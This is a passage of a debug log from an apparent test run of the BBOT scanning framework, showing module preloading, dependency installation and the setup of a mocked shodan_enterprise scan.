Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 22:12:09,483 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 22:12:09,485 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 22:12:09,486 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 22:12:09,487 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 22:12:09,487 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 22:12:09,489 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 22:12:09,490 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 22:12:09,491 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 22:12:09,492 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 22:12:09,493 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 22:12:09,494 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 22:12:09,495 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 22:12:09,496 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 22:12:09,497 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 22:12:09,498 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 22:12:09,500 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 22:12:09,501 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 22:12:09,503 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 22:12:09,504 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 22:12:09,506 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 22:12:09,507 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 22:12:09,509 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 22:12:09,510 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 22:12:09,512 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 22:12:09,513 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 22:12:09,514 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 22:12:09,516 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 22:12:09,517 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 22:12:09,519 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 22:12:09,520 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 22:12:09,521 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 22:12:09,522 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 22:12:09,524 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 22:12:09,525 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 22:12:09,527 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 22:12:09,528 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 22:12:09,529 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 22:12:09,530 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 22:12:09,531 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 22:12:09,532 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 22:12:09,534 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 22:12:09,535 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 22:12:09,536 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 22:12:09,538 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 22:12:09,539 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 22:12:09,540 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 22:12:09,541 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 22:12:09,542 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 22:12:09,543 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 22:12:09,544 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 22:12:09,551 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 22:12:09,552 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 22:12:09,554 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 22:12:09,555 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 22:12:09,556 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 22:12:09,557 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 22:12:09,558 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 22:12:09,560 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 22:12:09,561 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 22:12:09,562 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 22:12:09,563 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 22:12:09,565 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 22:12:09,566 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 22:12:09,568 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 22:12:09,569 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 22:12:09,570 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 22:12:09,572 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 22:12:09,573 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 22:12:09,574 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 22:12:09,575 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 22:12:09,576 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 22:12:09,577 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 22:12:09,578 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 22:12:09,579 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 22:12:09,580 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 22:12:09,582 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 22:12:09,590 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 22:12:09,591 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 22:12:09,593 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 22:12:09,594 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 22:12:09,596 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 22:12:09,597 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 22:12:09,599 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 22:12:09,600 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 22:12:09,601 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 22:12:09,602 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 22:12:09,604 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 22:12:09,606 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 22:12:09,607 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 22:12:09,608 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 22:12:09,609 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 22:12:09,611 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 22:12:09,612 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 22:12:09,613 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 22:12:09,614 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 22:12:09,615 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 22:12:09,616 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 22:12:09,617 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 22:12:09,618 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 22:12:09,619 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 22:12:09,621 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 22:12:09,621 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 22:12:09,622 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 22:12:09,625 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 22:12:09,626 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 22:12:09,627 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 22:12:09,628 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 22:12:09,629 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 22:12:09,630 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 22:12:09,632 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 22:12:09,633 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 22:12:09,634 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 22:12:09,635 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 22:12:09,636 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 22:12:09,637 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 22:12:09,639 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 22:12:09,640 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 22:12:09,641 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 22:12:09,642 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 22:12:09,643 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 22:12:09,644 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 22:12:09,645 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 22:12:09,647 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 22:12:09,648 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 22:12:09,649 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 22:12:09,650 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 22:12:09,651 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 22:12:09,652 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 22:12:09,653 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 22:12:09,655 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 22:12:09,656 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 22:12:09,657 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 22:12:09,658 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 22:12:09,659 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 22:12:09,660 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 22:12:09,661 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 22:12:09,662 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 22:12:09,663 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 22:12:09,665 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 22:12:09,666 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 22:12:09,668 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 22:12:09,669 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 22:12:09,670 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 22:12:09,671 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 22:12:09,672 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 22:12:09,673 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 22:12:09,675 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 22:12:09,676 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 22:12:09,677 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 22:12:09,678 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 22:12:09,679 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 22:12:09,680 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 22:12:09,682 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 22:12:09,683 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 22:12:09,683 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 22:12:09,685 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 22:12:09,871 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4450597664 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:12:09,872 [DEBUG] filelock _api.py:334 Lock 4450597664 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:12:09,873 [DEBUG] filelock _api.py:364 Attempting to release lock 4450597664 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:12:09,873 [DEBUG] filelock _api.py:367 Lock 4450597664 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:12:11,077 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:12:11,078 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:12:11,078 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 22:12:11,230 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 22:12:11,820 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 22:12:11,821 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 22:12:11,821 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 22:12:11,821 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 22:12:12,050 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 22:12:12,052 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 22:12:12,162 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 22:12:12,162 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 22:12:12,220 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 22:12:12,223 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 22:12:12,224 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 22:12:12,762 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 22:12:12,763 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 22:12:15,601 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 22:12:15,602 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 22:12:15,602 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 22:12:17,665 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 22:12:17,665 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 22:12:17,670 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:12:17,671 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 22:12:17,671 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:12:17,671 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 22:12:17,672 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 22:12:17,672 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 22:12:17,676 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/s3ydqkofxxnwmyvtc4ui -2026-02-27 22:12:18,473 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 22:12:18,474 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 22:12:18,475 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:12:18,475 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 22:12:18,476 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:12:18,476 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 22:12:18,478 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 22:12:18,613 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 22:12:18,613 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 22:12:18,613 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 22:12:18,615 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 22:12:18,615 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 22:12:18,615 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 22:12:18,616 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 22:12:18,616 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 22:12:18,617 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 22:12:18,617 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 22:12:18,617 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 22:12:18,618 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 22:12:18,618 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 22:12:18,618 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 22:12:18,618 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 22:12:18,618 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 22:12:18,618 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 22:12:18,619 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 22:12:18,619 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 22:12:18,619 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 22:12:18,619 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 22:12:18,619 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 22:12:18,620 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 22:12:18,620 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 22:12:18,620 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 22:12:18,620 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 22:12:18,621 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 22:12:18,621 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 22:12:18,621 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 22:12:18,621 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 22:12:18,621 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 22:12:18,621 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 22:12:18,622 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 22:12:18,622 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 22:12:18,622 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 22:12:18,622 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 22:12:18,622 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 22:12:18,623 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 22:12:18,623 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 22:12:18,623 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 22:12:18,623 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 22:12:18,623 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 22:12:18,624 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 22:12:18,624 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 22:12:18,624 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 22:12:18,770 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_aentd9mitw -2026-02-27 22:12:18,770 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 22:12:18,881 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-02-27 22:12:18,882 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 22:12:18,882 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 22:12:18,884 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) -2026-02-27 22:12:18,985 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:236098711a242055af2898e0c45d00beed84cb0a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:12:18,986 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:236098711a242055af2898e0c45d00beed84cb0a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:12:18,987 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 